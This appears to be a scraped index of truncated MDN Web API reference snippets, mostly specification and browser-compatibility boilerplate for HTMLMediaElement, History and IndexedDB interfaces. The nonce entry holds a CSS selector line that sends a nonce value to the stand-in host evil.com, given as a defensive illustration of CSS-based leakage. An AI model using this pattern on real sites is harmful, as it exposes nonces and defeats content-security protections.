file and directory entries apithe definition of 'webkitdirectory' in that specification. draft initial specification. this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitdirectory non-standardchrome full support 13edge full support 13firefox full support ...
HTMLLinkElement.as - Web APIs
lue a domstring. specifications specification status comment preloadthe definition of 'as' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetas experimentalchrome full support 50edge full support 17firefox full support 56ie ...
HTMLMediaElement.controlsList - Web APIs
var domtokenlist = htmlmediaelement.controlslist; value a domtokenlist. specifications specification status comment controls list api: solution outline browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontrolslistchrome full support 58edge full support ≤79firefox ? ie ? o...
HTMLMediaElement.ended - Web APIs
if the source of the media is a mediastream, this value is true if the value of the stream's active property is false. example var obj = document.createelement('video'); console.log(obj.ended); // false specifications specification status comment html living standardthe definition of 'htmlmediaelement.ended' in that specification. ...
HTMLMediaElement.onencrypted - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'onencrypted' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonencryptedchrome full support yesedge full support 13firefox full support yesie ...
HTMLMediaElement.onwaitingforkey - Web APIs
cifications specification status comment encrypted media extensionsthe definition of 'onwaitingforkey' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonwaitingforkeychrome full support 55edge full support 79firefox full support yesie ...
HTMLMediaElement.setMediaKeys() - Web APIs
ecifications specification status comment encrypted media extensionsthe definition of 'setmediakeys()' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsetmediakeyschrome full support yesedge full support 13firefox full support yesie ...
HTMLOrForeignElement.nonce - Web APIs
e~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnoncechrome full support 61edge full support 79firefox full support 75ie ...
HTMLSlotElement.assignedElements() - Web APIs
n: true}); specifications specification status comment html living standardthe definition of 'assignedelements()' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetassignedelements experimentalchrome full support 65edge full support 79firefox full support ...
HTMLSlotElement.name - Web APIs
new node inside the slot is. specifications specification status comment html living standardthe definition of 'name' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetname experimentalchrome full support 53edge full support 79firefox full support 63 ...
History.back() - Web APIs
tory.back()' in that specification. living standard no change from html5. html5the definition of 'history.back()' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackchrome full support yesedge full support 12firefox full support yesie ...
History.forward() - Web APIs
nition of 'history' in that specification. living standard no change from html5. html5the definition of 'history' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetforwardchrome full support yesedge full support 12firefox full support yesie ...
History.scrollRestoration - Web APIs
' in that specification. living standard no change from html5. html5the definition of 'history.scrollrestoration' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollrestorationchrome full support 46edge full support 79firefox full support 46ie ...
Ajax navigation example - Web APIs
+ sviewmode : "").slice(1)).replace(rendqstmark, ""); } function getpage (spage) { if (bisloading) { return; } oreq = new xmlhttprequest(); bisloading = true; oreq.onload = ajaxload; oreq.onerror = ajaxerror; if (spage) { opageinfo.url = filterurl(spage, null); } oreq.open("get", filterurl(opageinfo.url, "json"), true); oreq.
send(); oloadingbox.parentnode || document.body.appendchild(oloadingbox); } function requestpage (surl) { if (history.pushstate) { bupdateurl = true; getpage(surl); } else { /* ajax navigation is not supported */ location.assign(surl); } } function processlink () { if (this.classname === sajaxclas...
IDBCursor.advance() - Web APIs
2.0the definition of 'advance()' in that specification. recommendation indexed database api draftthe definition of 'advance()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetadvancechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the ve...
IDBCursor.continue() - Web APIs
pi 2.0the definition of 'continue()' in that specification. recommendation indexed database api draftthe definition of 'continue()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontinuechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the v...
IDBCursor.delete() - Web APIs
api 2.0the definition of 'delete()' in that specification. recommendation indexed database api draftthe definition of 'delete()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeletechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the ven...
IDBCursor.direction - Web APIs
api 2.0the definition of 'direction' in that specification. recommendation indexed database api draftthe definition of 'direction' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdirectionchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the ...
IDBCursor.key - Web APIs
database api 2.0the definition of 'key' in that specification. recommendation indexed database api draftthe definition of 'key' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkeychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor...
IDBCursor.primaryKey - Web APIs
.0the definition of 'primarykey' in that specification. recommendation indexed database api draftthe definition of 'primarykey' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprimarykeychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the...
IDBCursor.request - Web APIs
; }; specification specification status comment indexed database api draftthe definition of 'request' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestchrome full support 76edge full support 79firefox full support 77ie ...
IDBCursor.source - Web APIs
se api 2.0the definition of 'source' in that specification. recommendation indexed database api draftthe definition of 'source' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsourcechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the ven...
IDBCursor.update() - Web APIs
pi 2.0the definition of 'update()' in that specification. recommendation indexed database api draftthe definition of 'update()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupdatechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the ven...
IDBCursorWithValue.value - Web APIs
pi 2.0the definition of 'source' in that specification. recommendation indexed database api draftthe definition of 'idbdatabase' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetvaluechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vend...
IDBCursorWithValue - Web APIs
ion of 'idbcursorwithvalue' in that specification. recommendation indexed database api draftthe definition of 'idbcursorwithvalue' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbcursorwithvaluechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented ...
IDBDatabase.close() - Web APIs
e api 2.0the definition of 'close()' in that specification. recommendation indexed database api draftthe definition of 'close()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclosechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vend...
IDBDatabase.createObjectStore() - Web APIs
of 'createobjectstore()' in that specification. recommendation indexed database api draftthe definition of 'createobjectstore()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreateobjectstorechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented w...
IDBDatabase.deleteObjectStore() - Web APIs
of 'deleteobjectstore()' in that specification. recommendation indexed database api draftthe definition of 'deleteobjectstore()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeleteobjectstorechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented w...
IDBDatabase.name - Web APIs
tabase api 2.0the definition of 'name' in that specification. recommendation indexed database api draftthe definition of 'name' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnamechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendo...
IDBDatabase.objectStoreNames - Web APIs
ition of 'objectstorenames' in that specification. recommendation indexed database api draftthe definition of 'objectstorenames' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorenameschrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented wi...
IDBDatabase.onabort - Web APIs
e api 2.0the definition of 'onabort' in that specification. recommendation indexed database api draftthe definition of 'onabort' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonabortchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the ve...
IDBDatabase.onerror - Web APIs
e api 2.0the definition of 'onerror' in that specification. recommendation indexed database api draftthe definition of 'onerror' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerrorchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the ve...
IDBDatabase.onversionchange - Web APIs
inition of 'onversionchange' in that specification. recommendation indexed database api draftthe definition of 'onversionchange' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonversionchangechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented wit...
IDBDatabase.transaction() - Web APIs
he definition of 'transaction()' in that specification. recommendation indexed database api draftthe definition of 'transaction()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettransactionchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with th...
IDBDatabase.version - Web APIs
e api 2.0the definition of 'version' in that specification. recommendation indexed database api draftthe definition of 'version' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetversionchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the ve...
IDBDatabase - Web APIs
n of 'idbdatabase' in that specification. recommendation initial version indexed database api draftthe definition of 'idbdatabase' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbdatabasechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with th...
IDBDatabaseException - Web APIs
r example, a failure due to disk io errors. ver_err 12 a request to open a database with a version lower than the one it already has. this can only happen with idbopendbrequest. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbdatabaseexception deprecatednon-standardchrome full support 12prefixed full support 12prefixed prefixed implemented with the vend...
IDBEnvironment - Web APIs
uest's onsuccess handler is fired: var db; function opendb() { var dbopenrequest = window.indexeddb.open("todolist"); dbopenrequest.onsuccess = function(e) { db = dbopenrequest.result; }; } browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbenvironment deprecatednon-standardchrome full support 24 full support 24 no support 23 — 57prefixed pr...
IDBFactory.cmp() - Web APIs
abase api 2.0the definition of 'cmp()' in that specification. recommendation indexed database api draftthe definition of 'cmp()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcmpchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor...
databases - Web APIs
ecifications specification status comment indexed database api draftthe definition of 'databases()' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdatabases experimentalchrome full support 71edge full support 79firefox no support nono...
IDBFactory.deleteDatabase() - Web APIs
database()' in that specification. recommendation indexed database api 2.0the definition of 'deletedatabase()' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeletedatabasechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with...
IDBFactory.open() - Web APIs
ase api 2.0the definition of 'open()' in that specification. recommendation indexed database api draftthe definition of 'open()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetopenchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendo...
IDBFactory - Web APIs
i 2.0the definition of 'idbfactory' in that specification. recommendation indexed database api draftthe definition of 'idbfactory' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbfactorychrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the...
IDBIndex.count() - Web APIs
ase api 2.0the definition of 'count()' in that specification. recommendation indexed database api draftthe definition of 'count()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcountchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vend...
IDBIndex.get() - Web APIs
ayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'get()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor...
IDBIndex.getKey() - Web APIs
e api 2.0the definition of 'getkey()' in that specification. recommendation indexed database api draftthe definition of 'getkey()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetkeychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the ven...
IDBIndex.keyPath - Web APIs
e api 2.0the definition of 'keypath' in that specification. recommendation indexed database api draftthe definition of 'keypath' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkeypathchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the ve...
IDBIndex.multiEntry - Web APIs
2.0the definition of 'multientry' in that specification. recommendation indexed database api draftthe definition of 'multientry' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmultientrychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the...
IDBIndex.name - Web APIs
atabase api 2.0the definition of 'name' in that specification. recommendation indexed database api draftthe definition of 'name' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnamechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendo...
IDBIndex.objectStore - Web APIs
0the definition of 'objectstore' in that specification. recommendation indexed database api draftthe definition of 'objectstore' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with th...
IDBIndex.openCursor() - Web APIs
0the definition of 'opencursor()' in that specification. recommendation indexed database api draftthe definition of 'opencursor()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetopencursorchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the...
IDBIndex.openKeyCursor() - Web APIs
efinition of 'openkeycursor()' in that specification. recommendation indexed database api draftthe definition of 'openkeycursor()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetopenkeycursorchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with ...
IDBIndex.unique - Web APIs
ase api 2.0the definition of 'unique' in that specification. recommendation indexed database api draftthe definition of 'unique' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetuniquechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the ven...
IDBIndex - Web APIs
api 2.0the definition of 'idbindex' in that specification. recommendation indexed database api draftthe definition of 'idbindex' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbindexchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the v...
IDBKeyRange.bound() - Web APIs
api 2.0the definition of 'bound()' in that specification. recommendation indexed database api draftthe definition of 'bound()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetboundchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vend...
IDBKeyRange.includes() - Web APIs
aftthe definition of 'includes()' in that specification. recommendation indexed database api draftthe definition of 'includes()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetincludeschrome full support 52edge full support ≤18firefox full support 47ie ...
IDBKeyRange.lower - Web APIs
abase api 2.0the definition of 'lower' in that specification. recommendation indexed database api draftthe definition of 'lower' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlowerchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vend...
IDBKeyRange.lowerBound() - Web APIs
he definition of 'lowerbound()' in that specification. recommendation indexed database api draftthe definition of 'lowerbound()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlowerboundchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the...
IDBKeyRange.lowerOpen - Web APIs
i 2.0the definition of 'loweropen' in that specification. recommendation indexed database api draftthe definition of 'loweropen' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetloweropenchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the ...
IDBKeyRange.only() - Web APIs
atabase api 2.0the definition of 'only' in that specification. recommendation indexed database api draftthe definition of 'only' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonlychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendo...
IDBKeyRange.upper - Web APIs
abase api 2.0the definition of 'upper' in that specification. recommendation indexed database api draftthe definition of 'upper' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupperchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vend...
IDBKeyRange.upperBound() - Web APIs
he definition of 'upperbound()' in that specification. recommendation indexed database api draftthe definition of 'upperbound()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupperboundchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the...
IDBKeyRange.upperOpen - Web APIs
i 2.0the definition of 'upperopen' in that specification. recommendation indexed database api draftthe definition of 'upperopen' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupperopenchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the ...
IDBKeyRange - Web APIs
in that specification. recommendation initial definition. indexed database api draftthe definition of 'idbkeyrange' in that specification. recommendation adds includes(). browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbkeyrangechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with th...
IDBObjectStore.add() - Web APIs
